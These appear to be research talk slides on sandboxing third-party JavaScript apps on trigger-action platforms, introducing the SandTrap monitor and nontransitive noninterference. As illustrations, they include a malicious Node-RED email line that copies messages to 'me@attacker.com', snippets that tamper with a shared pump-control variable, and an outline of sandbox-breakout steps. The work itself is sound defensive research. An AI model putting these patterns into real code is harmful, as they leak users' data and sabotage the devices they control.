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Modular programming

• Code modules

– Designed and implemented independently

– Often written by third parties

– Security concerns such as: 

• Stealing confidential information

• Tampering with sensitive data

• Executing malicious code
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Third-party modules: security policies 

ACCESS 
CONTROL

INFORMATION-FLOW 
CONTROL
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Trigger-Action Platform (TAP)

• Connecting otherwise unconnected services/devices

• “Managing users’ digital lives” by connecting

– Devices (smartphones, cars,…)

– Smart homes and healthcare

– Online services (     ,      ,…)

– Social networks (     ,      ,…)

Image: © Irina Strelnikova / Adobe Stock
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TAP: Examples
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Trigger-Action Platform (cont.)

• Person-in-the-middle

• End-user programming

– Users can create and publish apps

– Most apps by third parties

• Popular JavaScript-driven TAPs:

–              and             (proprietary)

–                (open-source)

Do I know 
them?

18 million IFTTT users running 
more than a billion apps a month
connected to more than 650 partner services
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TAP architecture
Threat model:

Malicious app maker

Trigger ActionApp

Trigger ActionApp

Trigger ActionApp

Zapier and Node-RED: 
single-tenant
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TAP architecture (cont.)
Threat model:

Malicious app maker

Trigger ActionApp

Trigger ActionApp

Trigger ActionApp

IFTTT: 
multi-tenant
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Sandboxing apps in IFTTT and Zapier

• JavaScript of the app runs inside AWS Lambda
• Node.js instances run in Amazon’s version of Linux
• AWS Lambda’s built-in sandbox at process level
• IFTTT: 

– “Filter code is run in an isolated environment with a short 
timeout.”

– Security checks on script code of the app
• TypeScript syntactic typing
• Disallow eval, modules, sensitive APIs, and I/O

AWS 
Lambda

function runScriptCode(filterCode, config) {
   … // set trigger and action parameters
   eval(filterCode)
}
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IFTTT sandbox breakout

Trigger ActionApp

Trigger ActionApp

Trigger ActionApp

User installs benign apps from the app store

Malicious app maker

PWNEDPWNED

PWNED PWNEDPWNED

PWNED

Compromised: Trigger and action data of the benign apps of the other users
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Zapier sandbox breakout

Compromised: Trigger and action data of other apps of the same user
User installs a malicious app that poses as benign in app store

Trigger ActionApp

Trigger ActionApp

Malicious app maker

PWNEDPWNED

PWNED PWNED

PWNED
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Node-RED architecture

https://blog.techdesign.com/get-started-with-iot-visual-wiring-tool-node-red/

global

context

Flow Flow

Node Node

message

Node-RED

Node
flo

w
context

Node

Node.js
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Node-RED security policy

• Interpret from graphical interface

• Information may only flow w.r.t. the wiring
• No tampering with “Recent Quakes” node by other nodes/flows

• No access to data (e.g. local files) outside the flow
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Node-RED vulnerabilities

global

context

Flow Flow

Node
Malicious

Node

message

Node-RED

Node
flo

w
context

Malicious

Node

module

object

Node.js

Malicious node may: 

• Abuse Node.js modules like child_process to run arbitrary code
• Attack the RED object shared by flows

• Read and modify sensitive data
• Benign email node: 
   sendopts.to = node.name || msg.to;

• Malicious email node: 
   sendopts.to = node.name || msg.to + 

          “, me@attacker.com”;

Solution: access control at module and shared object level

Solution: access control at the level of APIs and their values

Security labeling:
• 408 node definitions and 642 flows
• 70.40% of flows may violate privacy
• 76.46% of flows may violate integrity
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Node-RED vulnerabilities (cont.)

Malicious node may: 

• Exploit inter-node communication
 global.set("tankLevel", tankLevel);

 …
 var tankLevel = global.get("tankLevel");
 if (tankLevel < 10) pump.stop(); else pump.start();

• Exploiting shared resources
 var require = global.get(’require’); 

 …
 var opencv = require(’opencv’); 

Solution: access control at the level of context

global

context

Flow Flow

Node Node

message

Node-RED

Malicious

Node

flo

wcontext

Malicious

Node

Node.js

• 19.31% of 1181 flows make use of context
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Node-RED breakout

Trigger ActionApp

Trigger ActionApp

User installs a malicious app that poses as benign in app store

PWNEDPWNED

PWNED PWNED

PWNED

PWNED

Compromised: Trigger and action data of other apps of the same user and the TAP itself

Malicious app maker
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How to secure JavaScript apps on TAPs?

• IFTTT apps should not access APIs other than
– Trigger and Action APIs, Meta.currentUserTime and Meta.triggerTime

• IFTTT, Zapier, Node-RED apps may not leak sensitive values (like private URLs)

Need access control at module- and context-level

Need fine-grained access control at the level of APIs and their values

• IFTTT apps should not access modules, while Zapier and Node-RED apps must 

• Malicious Node-RED apps may abuse child_process to run arbitrary code, or 

may tamper with shared objects in the context

Approach: access control by secure sandboxing
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SandTrap: modeling

• Policy examples:
- “only me@user.com is permitted for the email node”

- “only nodes in Water Utility flow can write to the shared variable TankLevel”

• Node configuration (for Node-RED):

        𝑐𝑜𝑛𝑓𝑖𝑔, 𝑤𝑖𝑟𝑒𝑠, 𝑙, 𝑃, 𝑉, 𝑆

API allowlist: 𝑃 ⊆ 𝐴𝑃𝐼𝑠

Permitted values: 𝑉: 𝑃 → 2𝑉𝑎𝑙

Shared access: 𝑆 𝑥 = 𝑅 | 𝑊; 𝑥 ∈ 𝑉𝑎𝑟𝐹𝑙𝑜𝑤 ⊎ 𝑉𝑎𝑟𝐺𝑙𝑜𝑏𝑎𝑙

[presented in Paper 2]
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SandTrap: modeling (cont.)

Malicious node attempting to send an email to attacker:

Water Utility flow:  (TankLevel, R) for nodes that may read TankLevel
          (TankLevel, W) for nodes that may write to TankLevel
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SandTrap: modeling (cont.)

• Soundness

- Monitoring at node level enforces global security

• Transparency

- No behavior modification other than raising security error

- The monitor preserves the longest secure prefix of a given trace

SandTrap

node a

node b

node c

node a

node b

node c

SandTrap

node a

node b

node a

node b
x
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• Enforcing
– read, write, call, construct policies

• Secure usage of modules
– vs. isolated-vm and 
Secure ECMAScript

• Structural proxy-based
– vs. vm2

– two-sided membranes

– symmetric proxies

• Allowlisting policies at four levels
–  module, API, value, context

SandTrap: implementation

r, w

Host SandTrap

x : "Hello"

y : "World" .y .y

x : "Hello" .x .x

y : "World"

r, w
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• Policy generation

– Learning mode per execution

• Policy examples
– Module: "manifest": {..., "fs": "fs.json", …}

– API: {…, "call": {"allow": true, "arguments": [{}], "result": {}},…}

– Value: [Parametric value-sensitive]

{…, "call": {"allow": "(thisArg, arg) => 
  {return arg == this.GetPolicyParameter (‘target’);}”,…}

– Context: {…, "sharedObj":{"write": true, "writePolicy": "path/to/sharedObj", 
       "read": true, "readPolicy": " path/to/sharedObj "},…}

SandTrap: policies

SandTrap
execution execution

policy
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Baseline vs. advanced policies

• To aid developers, need 

– Baseline policies once and for all apps per platform

• Set by platform

• “No module can be required in IFTTT filter code”

– Advanced policies for specific apps

• Set by platform but developers/users may suggest

• “Only use allowlisted URLs or email addresses”
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Baseline policies

• No modules, no APIs other than Trigger/Action

• Read-only moment API

• Read-only protection of Zapier runtime (incl. node-fetch and 
StoreClient)

• No modules, allowlisted calls on RED object
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SandTrap benchmarking examples

Platform Use case Policy Granularity Example of Prevented Attacks

Baseline Module/API Prototype poisoning

Tweet a photo from an Instagram post Value Leak/tamper with photo URL

Baseline Module/API Prototype poisoning

Create a watermarked image using Cloudinary Value Exfiltrate the photo

Baseline Module/API Attacks on the RED object,
Run arbitrary code with 
child_process 

Water utility control Context Tamper with the tanks and pumps (in 
global context)
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SandTrap enters…
• Baseline policy: No modules, no APIs other than Trigger/Action
• Advanced policies: Fine-grained URL policies
• Overhead: <7ms
• Policy LoC (avg): 185

• Baseline policy: Read-only protection of Zapier runtime
• Advanced policies: Fine-grained URL policies
• Overhead: <12ms
• Policy LoC (avg): 260

• Baseline policy: no modules, specified function calls on RED
• Advanced policies: allowlist of module, API, value, and context
• Overhead: <100ms
• Policy LoC (avg): 2650

S

S

S
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SandTrap monitor

– Structural proxy-based monitor 
to enforce fine-grained policies 
for JavaScript

– Formal framework (for a core 
language)
• Soundness and transparency

Trigger ActionApp

Trigger ActionApp

Trigger ActionApp

Malicious app maker

TAP

S

S

S

Try at https://github.com/sandtrap-monitor/sandtrap



Securing Software in the Presence of Third-Party Modules October 1, 2021    29/40

Papers at a glance

SandTrap: 

Securing JavaScript-driven

Trigger-Action Platforms

1

Nontransitive Policies

Transpiled

3

Securing Node-RED

Applications

2

Language-Based Security

A tool presented

Formal proof

USENIX’21

EuroS&P’21

Joshua Guttman’s Festschrift'21

Information
Flow

Control

Access
Control
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Nontransitive Noninterference (NTNI)

A  ⊵ B
B  ⊵ C

Alice

data;

main(){

 Bob.good();

 Bob.receive(data);

 Bob.bad();

}

Bob

data1;

data2;

good(){Charlie.receive(data2)}

receive(x){data1 = x;}

bad(){Charlie.receive(data1)}

Charlie

data;

receive(x){data = x;}

[Paper 3]
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Nontransitive types

Alice.data A

Bob.data1 B

Bob.data2 B

Charlie.data C

C     Charlie.data = Bob.data2  {B} 
B     Bob.data1    = Alice.data {A} 
C     Charlie.data = Bob.data1  {A,B} 

A  ⊵ B
B  ⊵ C

specified                    inferred

𝑐𝑎𝑛𝐹𝑙𝑜𝑤𝑇𝑜 𝑙 = 𝑙′ 𝑙′ ⊵ 𝑙}

{𝐵} ⊆ 𝑐𝑎𝑛𝐹𝑙𝑜𝑤 𝐶 = {𝐵, 𝐶}

{𝐴} ⊆ 𝑐𝑎𝑛𝐹𝑙𝑜𝑤 𝐵 = {𝐴, 𝐵}

{𝐴, 𝐵} ⊈ 𝑐𝑎𝑛𝐹𝑙𝑜𝑤 𝐶 = {𝐵, 𝐶}
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NTNI reduces to TNI

• Standard (transitive) information flow machinery can enforce 
nontransitive noninterference

• Two steps:

– Program transformation

– Lattice encoding

• The core idea: don’t drop the lattice assumption

use power lattice in the transformed program 
and keep using TNI
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Program transformation: running example

in
it

The transformed program is semantically equivalent to the original 
(modulo renaming and having temp and final variables)

fi
n

al

1) replace vars with internal temp vars
2) prepend init assignments (source vars)
3) append final assignments (sink vars)
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Lattice encoding: powerset lattice

{}

{C}{B}{A}

{B,C}{A,C}{A,B}

{A,B,C}

A  ⊵ B
B  ⊵ C

Asource Bsource
CSource

Asink

Bsink Csink

𝑙𝑠𝑜𝑢𝑟𝑐𝑒 = 𝑙

𝑙𝑠𝑖𝑛𝑘 = 𝑐𝑎𝑛𝐹𝑙𝑜𝑤𝑇𝑜 𝑙 = 𝑙′ 𝑙′ ⊵ 𝑙}
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NTNI to TNI

What’s next?
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Nontransitive types to flow-sensitive types

• For the small calculus:

– Flow-sensitive type system of [Hunt & Sands, POPL’06] is strictly more permissive 
than the specialized type system of [Lu & Zhang, CSF’20]

• For Java:

– Case studies using JOANA information flow analyzer [Hammer & Snelting, 2020]
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JOANA-based analysis

JOANA

Illegal flow from 
Alice.data_source to 
Charlie.data_sink, 
visible for BC

the powerset lattice

labeling

run the flow-sensitive analysis
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NTNI-to-TNI takeaways

• Inspired by Lu & Zhang work on nontransitive noninterference

• Our paper shows NTNI can be reduced to TNI, thus

– reuse of the existing info flow machinery to enforce nontransitive policies

• Paper details: https://www.cse.chalmers.se/research/group/security/ntni
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Included papers

USENIX’21

EuroS&P’21

Joshua Guttman’s Festschrift'21
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Control
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Flow

Control
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Time for Discussion

https://research.chalmers.se/en/publication/525880
https://smahmadpanah.github.io
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TAPs in comparison
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IFTTT    breakout explained

• Prototype poisoning of 
rapid.prototype.nextInvocation 
in AWS Lambda runtime
• Store trigger incoming data

• IFTTT’s response
• vm2 isolation 

• Yet lacking fine-grained policies 

• Evade security checks
• Enable require via type declaration

• Enable dynamic code evaluation
• Manipulate function constructor

• Pass require as parameter

• Use network capabilities of the app via
Email.sendMeEmail.setBody()
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SandTrap implementation

r, wObject.prototype

Host SandTrap

Object.prototype

myPrototype

._proto_
._proto_._proto_myPrototype

myFunction

r, w

.prototype.prototypemyFunction

.prototype

x, c
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The world before SandTrap

Breakouts of the sandbox over filtercode
(acknolwedged as critical with bounty and patched by vm2)

Breakouts of the sandbox over zaps (Zapier apps)
(acknolwedged with bounty)

Breakouts lead to exfiltrating data and taking over the platform
(performed an empirical study and a security labeling)
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SandTrap vs. related work
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Nontransitive policies vs. tradition

Dave Charlie

Bob

Alice

Nontransitive    ≠ Intransitive
(confinement)         (declassification)
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Programs with I/O

• Same lattice encoding: powerset lattice

• Straightforward program transformation

– input(x,𝑙)  ↦ input(x, 𝒍𝒔𝒐𝒖𝒓𝒄𝒆) = input(x,{𝒍})

– output(x,𝑙) ↦ output(x, 𝒍𝒔𝒊𝒏𝒌) = output(x,𝒄𝒂𝒏𝑭𝒍𝒐𝒘𝑻𝒐 𝒍 )

• Similar reduction result for progress-insensitive notion of NTNI and TNI

• Similar flow-sensitive type system as the enforcement mechanism
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Alternatives to powerset lattice
A  ⊵ B
B  ⊵ C

Source-sink lattice
(via Dedekind-MacNeille 
completion algorithm)

Minimal lattice
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